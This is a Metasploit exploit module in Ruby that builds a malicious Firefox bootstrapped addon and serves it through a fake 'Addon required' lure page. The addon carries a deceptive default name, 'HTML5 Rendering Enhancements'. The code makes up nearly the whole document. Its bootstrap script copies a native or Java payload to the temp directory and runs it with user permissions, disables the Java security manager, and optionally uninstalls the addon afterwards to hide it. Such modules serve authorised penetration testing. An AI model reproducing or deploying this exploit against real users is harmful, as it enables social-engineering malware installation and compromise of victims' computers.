Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize( info = {} )
  super( update_info( info,
   'Name'          => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',
   'Description'   => %q{
     This exploit dynamically creates a .xpi addon file.
    The resulting bootstrapped Firefox addon is presented to
    the victim via a web page with.  The victim's Firefox browser
    will pop a dialog asking if they trust the addon.

    Once the user clicks "install", the addon is installed and
    executes the payload with full user permissions. As of Firefox
    4, this will work without a restart as the addon is marked to
    be "bootstrapped". As the addon will execute the payload after
    each Firefox restart, an option can be given to automatically
    uninstall the addon once the payload has been executed.
   },
   'License'       => MSF_LICENSE,
   'Author'        => [ 'mihi' ],
   'References'    =>
    [
     [ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
     [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
    ],
   'DisclosureDate' => 'Jun 27 2007',
   'Platform'      => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
   'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
   'Targets'       =>
    [
     [ 'Generic (Java Payload)',
      {
       'Platform' => ['java'],
       'Arch' => ARCH_JAVA
      }
     ],
     [ 'Windows x86 (Native Payload)',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
      }
     ],
     [ 'Linux x86 (Native Payload)',
      {
       'Platform' => 'linux',
       'Arch' => ARCH_X86,
      }
     ],
     [ 'Mac OS X PPC (Native Payload)',
      {
       'Platform' => 'osx',
       'Arch' => ARCH_PPC,
      }
     ],
     [ 'Mac OS X x86 (Native Payload)',
      {
       'Platform' => 'osx',
       'Arch' => ARCH_X86,
      }
     ]
    ],
   'DefaultTarget'  => 1
  ))

  register_options( [
   OptString.new('ADDONNAME', [ true,
    "The addon name.",
    "HTML5 Rendering Enhancements"
    ]),
   OptBool.new('AutoUninstall', [ true,
    "Automatically uninstall the addon after payload execution",
    true
    ])
  ], self.class)
 end

 def on_request_uri( cli, request )
  msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"

  if not request.uri.match(/\.xpi$/i)
   if not request.uri.match(/\/$/)
    send_redirect( cli, get_resource() + '/', '')
    return
   end

   print_status("#{msg} Handling request..." )

   send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
   return
  end

  p = regenerate_payload(cli)
  if not p
   print_error("#{msg} Failed to generate the payload.")
   # Send them a 404 so the browser doesn't hang waiting for data
   # that will never come.
   send_not_found(cli)
   return
  end

  # If we haven't returned yet, then this is a request for our xpi,
  # so build one

  if target.name == 'Generic (Java Payload)'
   jar = p.encoded_jar
   jar.build_manifest(:main_class => "metasploit.Payload")
   payload_file = jar.pack
   payload_name='payload.jar'
   payload_script=%q|
 var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java
 java.lang.System.setSecurityManager(null);
 var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);
 var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]);
 m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]);
   |
  else
   payload_file = generate_payload_exe
   payload_name='payload.exe'
   payload_script=%q|
 var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
 process.init(tmp);
 process.run(false,[],0);
   |
  end

  zip = Rex::Zip::Archive.new
  xpi_guid = '{d0df471a-9896-4e6d-83e2-13a04ed6df33}' #TODO randomize!

  bootstrap_script = %q|
function startup(data, reason) {
 var file = Components.classes["@mozilla.org/file/directory_service;1"].
     getService(Components.interfaces.nsIProperties).
     get("ProfD", Components.interfaces.nsIFile);
 file.append("extensions");
  |
  bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
  bootstrap_script << %Q|payload_name="#{payload_name}";|
  bootstrap_script << %q|
 file.append(xpi_guid);
 file.append(payload_name);
 var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
     getService(Components.interfaces.nsIProperties).
     get("TmpD", Components.interfaces.nsIFile);
 tmp.append(payload_name);
 tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
 file.copyTo(tmp.parent, tmp.leafName);
  |
  bootstrap_script << payload_script

  if (datastore['AutoUninstall'])
   bootstrap_script <<  %q|
 try { // Fx < 4.0
  Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
 } catch (e) {}
 try { // Fx 4.0 and later
  Components.utils.import("resource://gre/modules/AddonManager.jsm");
  AddonManager.getAddonByID(xpi_guid, function(addon) {
   addon.uninstall();
  });
 } catch (e) {}
   |
  end

  bootstrap_script << "}"

  zip.add_file('bootstrap.js', bootstrap_script)
  zip.add_file(payload_name, payload_file)
  zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
  zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
 <Description about="urn:mozilla:install-manifest">
  <em:id>#{xpi_guid}</em:id>
  <em:name>#{datastore['ADDONNAME']}</em:name>
  <em:version>1.0</em:version>
  <em:bootstrap>true</em:bootstrap>
  <em:unpack>true</em:unpack>
  <em:targetApplication>
   <Description>
    <em:id>toolkit@mozilla.org</em:id>
    <em:minVersion>1.0</em:minVersion>
    <em:maxVersion>*</em:maxVersion>
   </Description>
  </em:targetApplication>
  <em:targetApplication>
   <Description>
    <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
    <em:minVersion>1.0</em:minVersion>
    <em:maxVersion>*</em:maxVersion>
   </Description>
  </em:targetApplication>
  </Description>
</RDF>|)
zip.add_file('overlay.xul', %q|<?xml version="1.0"?>
<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
 <script src="bootstrap.js"/>
 <script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>
</overlay>|)

  print_status("#{msg} Sending xpi and waiting for user to click 'accept'...")
  send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } )
  handler( cli )
 end

 def generate_html
  html  = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
  html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
  html << %Q|<script>window.location.href="addon.xpi";</script>\n|
  html << %Q|</body></html>|
  return html
 end
end